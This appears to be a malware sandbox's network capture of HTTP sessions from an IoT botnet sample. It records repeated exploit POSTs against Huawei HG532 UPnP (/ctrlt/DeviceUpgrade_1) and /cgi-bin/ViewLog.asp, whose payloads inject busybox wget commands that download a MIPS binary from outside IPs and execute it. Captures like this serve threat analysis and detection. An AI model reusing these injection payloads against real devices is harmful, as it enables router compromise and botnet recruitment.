                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:28.792959929 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                351192.168.2.154631031.136.71.1078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.633414984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:30.682538986 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:36.826420069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:48.858092070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:14.457374096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.608005047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                352192.168.2.154036694.255.177.2288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.664319992 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.911322117 CET395INHTTP/1.1 302 Found
                                                Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                                Connection: keep-alive
                                                Cache-Control: no-cache, no-store, must-revalidate
                                                Set-Cookie: JSESSIONID=inAoytlUcM_1VMdQuabfelhRZ6SNF3UwiHCJEjGl; path=/
                                                Pragma: no-cache
                                                Location: http://192.168.0.14:80/index.jsp
                                                Content-Length: 0
                                                Date: Thu, 23 Nov 2023 05:21:11 GMT


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                353192.168.2.153570094.120.214.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.677222967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                354192.168.2.154677831.128.205.2118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.681664944 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.912957907 CET403INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 130
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                355192.168.2.154855885.122.193.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.811763048 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                356192.168.2.153850831.136.192.748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.817301989 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.378664017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.498703957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.962660074 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:36.570425987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.530365944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.217732906 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.080609083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                357192.168.2.154578031.136.86.588080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:27.818789959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.410696983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
